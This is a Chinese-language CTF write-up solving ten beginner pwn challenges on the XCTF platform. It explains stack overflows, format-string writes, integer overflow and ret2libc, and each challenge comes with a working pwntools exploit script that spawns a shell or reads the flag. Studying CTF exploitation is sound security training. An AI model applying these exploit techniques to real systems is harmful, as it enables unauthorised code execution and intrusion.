【pwn】攻防世界 pwn新手區wp
【pwn】攻防世界 pwn新手區wp
前言
這幾天惡補pwn的各種知識點,然後看了看攻防世界的pwn新手區沒有堆題(堆才剛剛開始看),所以就花了一晚上的時間把新手區的10題給寫完了。
1、get_shell
送分題,連線上去就是/bin/sh
不過不知道為啥我的nc連線不上。。。
還是用pwntool的remote連線的
from pwn import *
io = remote("111.200.241.244", 64209)
io.interactive()
2、hello pwn
可以看到read寫入的是0x601068地址的資料,而下面的if語句判斷的是0x60106C地址的資料是否為1853186401
由於這兩個位置在記憶體中就是+4位元組的關係,所以我們可以在read的過程中實現覆蓋
from pwn import *
io = remote("111.200.241.244", 49847)
payload = b"bi0x" + p64(1853186401)
io.sendline(payload)
io.interactive()
3、level0
main函式中會跳轉到一個vulnerable_function
一看就是明顯的棧溢位,然後rsp距離rbp的距離為0x80,所以直接覆蓋就行了,在覆蓋掉8位元組的ret addr
此外值得一提的是,64位程式中,函式的前6個引數分別由rdi、rsi、rdx、rcx、r8、r9存放的,之後的引數存放在棧中。
所以這裡我們將/bin/sh存入edi中,這樣system函式的第一個引數就是/bin/sh了
from pwn import * io = remote("111.200.241.244",54678) elf = ELF("./xctf3") binsh_addr = next(elf.search(b"/bin/sh")) system_addr = elf.symbols["system"] pop_edi_addr = 0x0000000000400663 payload = b"a"*0x80 + b"bi0xbi0x" + p64(pop_edi_addr) + p64(binsh_addr) + p64(system_addr) io.sendafter("Hello, World\n",payload) io.interactive()
4、level2
終於來了個32位的-。-
拖入32位ida中分析,main函式中有一個vulnerable_function函式,步入分析
明顯的棧溢位
我們在shift+f12中看到了/bin/sh的地址
所以直接給出exp
from pwn import *
io = remote("111.200.241.244", 63107)
elf = ELF("./xctf4")
system_plt = elf.plt["system"]
binsh_addr = next(elf.search(b"/bin/sh"))
payload = b"a"*0x88 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.send(payload)
io.interactive()
5、string
canary開啟,所以棧溢位是沒戲
看題目string(字串),那麼可能是格式化字串了
拖入64位ida中分析
首先分析main函式,告訴我們有兩個關鍵的指標地址,分別是v4[0]額v4[1]的地址,然後進入sub_400D72這個函式,傳入的引數是v4[0]]這個指標
分析sub_400D72這個函式
首先叫我們輸入一個使用者名稱,然後判斷這個使用者名稱是否大於12,如果大於12長度那麼結束
所以我們輸入一個小於12長度的username
然後就是三個函式等著我們,sub_400A7D、sub_400BB9、sub_400CA6,我們一個個分析
首先來看sub_400A7D
輸出可以看,首先叫我們選擇方向east or up?
看到下面的strcmp判斷,只能選擇east跳出迴圈
然後來到下面的if,因為是east,所以直接結束執行了(不懂這個判斷有啥必要。。?s1改為up大可不必)
然後是sub_400BB9
puts的也不用看,叫我們選擇1or0,選1才能繼續
告訴我們輸入一個16位元組的大小的地址
然後再輸入一個wish,然後printf這個wish
很明顯的格式化字串
所以到這裡就知道需要測試偏移量了
隨後一個sub_400CA6(a1)
傳入了a1這個引數,a1是啥,我們首先回到sub_400D72
sub_400D72傳入了v4這個指標的地址,而sub_400D72這個函式的引數是a1
所以我們可以得到下圖這個關鍵的if語句中的a1就是v4的地址,如果相等那麼就mmap分配一個記憶體大小為0x1000的區域v1,然後我們可以向v1中寫入0x100大小的資料
這裡就可以想到寫入一段amd64的shellcode來獲取shell
需要我們將a1[0]和a1[1]相等,也就是v4[0] = v4[1]
我們如何將v4[0]賦值位85呢,利用格式化字串!
在剛剛出現的printf中,我們先測量偏移量
我們輸入的address是1,而這個0x1再printf中出現的是第8個,也就是printf的第8個引數,也就是第7個格式化字串的引數,所以偏移量是7
所以格式化字串只需要"a"*85+"%7$n",前面寫85位元組的字串,然後傳給第7個引數,這個第7個引數就是我們的v4[0]指標地址(在前面的程式開始puts的)
所以構建exp
from pwn import *
io = remote("111.200.241.244",55215)
io.recvuntil("secret[0] is ")
v4_addr = int(io.recvuntil("\n",drop=True),16)
io.sendlineafter("name be:", b"woodwhale")
io.sendlineafter("east or up?:", b"east")
io.sendlineafter("leave(0)?:", b"1")
io.sendlineafter("address'", str(v4_addr))
io.sendlineafter("And, you wish is:", b"a"*85+b"%7$n")
io.sendafter("USE YOU SPELL", asm(shellcraft.amd64.sh(),arch="amd64"))
io.interactive()
6、guess_num
保護基本都開了,看這個題目就知道是猜數字
拖入ida中分析
先看main函式
首先輸入username
然後給了一個以seed[0]為種子的隨機數
然後for迴圈猜測10次數字
全對給flag
我們需要做的就是劫持seed[0],把它改為我們想要的數字,然後有了種子,模擬和它一樣的隨機數
這裡我們看看v7地址
再看看seed[0]的地址
相差20
我們知道函式引數是逆序壓入棧中,所以第一個引數的地址最低,這樣我們就可以通過gets函式覆蓋掉seed[0]的值,偏移量為0x20
exp如下
這裡的from ctypes import *是匯入c語言庫函式的一個庫
這樣我們就可以使用srand函數了
from pwn import *
from ctypes import *
io = remote("111.200.241.244",63989)
libc = cdll.LoadLibrary("/lib/x86_64-linux-gnu/libc.so.6")
libc.srand(2)
payload = b"b"*0x20 + p64(2)
io.sendlineafter("name:",payload)
for i in range(10):
io.sendlineafter("number:",str(libc.rand()%6+1))
io.interactive()
7、int_overflow
又是為數不多的x86
拖入32位ida中分析
檢視所有字串,發現cat flag
看main函式
叫我們選擇1or2,選1進入login,選2退出。所以選1。
步入login()函式中分析
首先讀取0x19長度的username,這麼點長度棧溢位肯定沒用
然後讀取0x199的passwd,這裡棧溢位有戲,但是看了看buf和ebp的距離,0x228,我們只能讀入0x199長度,所以還是覆蓋不了
把希望寄託於下面的check_passwd函式,傳入引數為我們剛剛寫入的buf
首先v3是一個無符號的8位數,也是我們剛剛輸入的buf的長度,如果v3<= 3u(這裡的u指的是unsigned,也就是無符號數,也就是011),或者v3 > 8u(也就是11111111,10進制中的255),那麼這樣我們輸入的buf就判斷為無效
如何讓這個判斷成為true呢?與題目中的int_overflow息息相關!
因為strlen()的返回值是一個int,4位元組長度,也就是8位,如果我們的buf長度大於255會發生什麼呢?
例如我們的buf的長度為263,二進位制就是1 0000 0111,會被strlen讀取為0000 0111,那麼這個111>011,並且111<11111111,這樣就成功繞過
最後再strcpy中實現dest的棧溢位,dest距離ebp距離為0x14,所以構建exp
from pwn import *
io = remote("111.200.241.244",57657)
elf = ELF("./xctf7")
io.sendlineafter("choice:",b"1")
io.sendafter("username:",b"woodwhale")
cat_flag_addr = next(elf.search(b"cat flag"))
system_plt = elf.plt["system"]
payload = b"a"*0x14 + b"bi0x" + p32(system_plt) + b"bix0" + p32(cat_flag_addr)
payload += b"a"*(263-int(len(payload)))
io.sendlineafter("passwd:",payload)
io.interactive()
8、cgpwn2
為數不多的x86
拖入32位ida中
先看所有字串,沒有後門
分析main函式
清除緩衝區,然後進入hello函式。沒啥好看的
我們直接步入hello函式()
前面這麼多數字計算,看的眼花繚亂,但是這些都沒啥用,我們要的是gets函式的棧溢位,gets中輸入s變數,s距離epb為0x26
這可以看到我們再fget中標準輸入的東西存入了name這個變數中,我們是不是可以在name中存放一個/bin/sh或者cat flag,然後在下面gets函式中呼叫system(name),這樣就獲取了許可權
直接看name的地址,在bss段的0x0804A080
那麼直接構建exp
from pwn import *
io = remote("111.200.241.244",49222)
elf = ELF("./xctf8")
system_plt = elf.plt["system"]
binsh_addr = 0x0804A080
io.sendlineafter("name","cat flag")
payload = b"b"*0x26 + b"bi0x" + p32(system_plt) + b"bi0x" + p32(binsh_addr)
io.sendlineafter("here:",payload)
io.interactive()
9、level3
還是x86,拖入ida
題目還給了個libc,一看就是ret2libc3
先看字串,肯定是沒有system的plt地址和後門的
main函式中有用的就是這個vulneravle_function函式
有個gets的棧溢位
這裡需要了解動態連線的知識點
第一次呼叫一個函式,比如write(),write.plt會去找write.got索要write的真實地址,但是write.got不知道,所以讓write.plt自己去找,然後write.plt自己找到了,將這個地址放在了write.got表中
第二次呼叫,write.plt會直接去找write.got,這個時候因為got表中存放了write的真實地址,所以直接給了write.plt,所以直接指向了write的真實地址
這是前置知識,不明白的去ctf-wiki的ret2libc3中惡補一下
這題我們需要的就是通過write可以寫資料到控制檯中,將write的got表地址中儲存的write的真實地址輸出,然後通過題目給的libc檔案,得到libc的基地址,然後根據基地址去尋找system函式和/bin/sh的真實地址
我們第一次呼叫的時候,先執行write函式,將write的got表中儲存的真實地址打印出來,然後執行_start函式,讓程式再次執行
第二次程式執行,我們得到了system和bin/sh的地址,直接呼叫就okk了
from pwn import *
io = remote("111.200.241.244",57553)
libc = ELF("./libc_32.so.6")
elf = ELF("./xctf9")
write_got = elf.got["write"]
write_plt = elf.plt["write"]
start_addr = elf.symbols["_start"]
payload = b"b"*0x88 + b"bi0x" + p32(write_plt) + p32(start_addr) + p32(1) + p32(write_got) + p32(4)
io.sendafter(b"Input:\n",payload)
write_true_addr = u32(io.recv(4))
libc_base = write_true_addr - libc.symbols["write"]
system_true_addr = libc_base + libc.symbols["system"]
binsh_true_addr = libc_base + next(libc.search(b"/bin/sh"))
payload = b"a"*0x88 + b"biox" + p32(system_true_addr) + b"bi0x" + p32(binsh_true_addr)
io.send(payload)
io.interactive()
10、CGfsb
還是32位,拖入ida中分析
看main函式
直接看到了格式化字串
只要我們的pwnme這個變數值為8,那麼我們就可以cat flag
首先測試偏移量
測得偏移量為10
那麼直接寫exp
from pwn import *
io = remote("111.200.241.244",53590)
pwnme_addr = 0x0804A068
payload = p32(pwnme_addr) + b"bi0x%10$n"
io.sendlineafter("name:",b"woodwhale")
io.sendlineafter("please:",payload)
io.interactive()
這裡的pwnme需要的值是8,而我們輸入的地址是4位元組的,所以前面還需要4個char字元,這樣4 + 4 = 8,我們的pwnme就可以賦值為8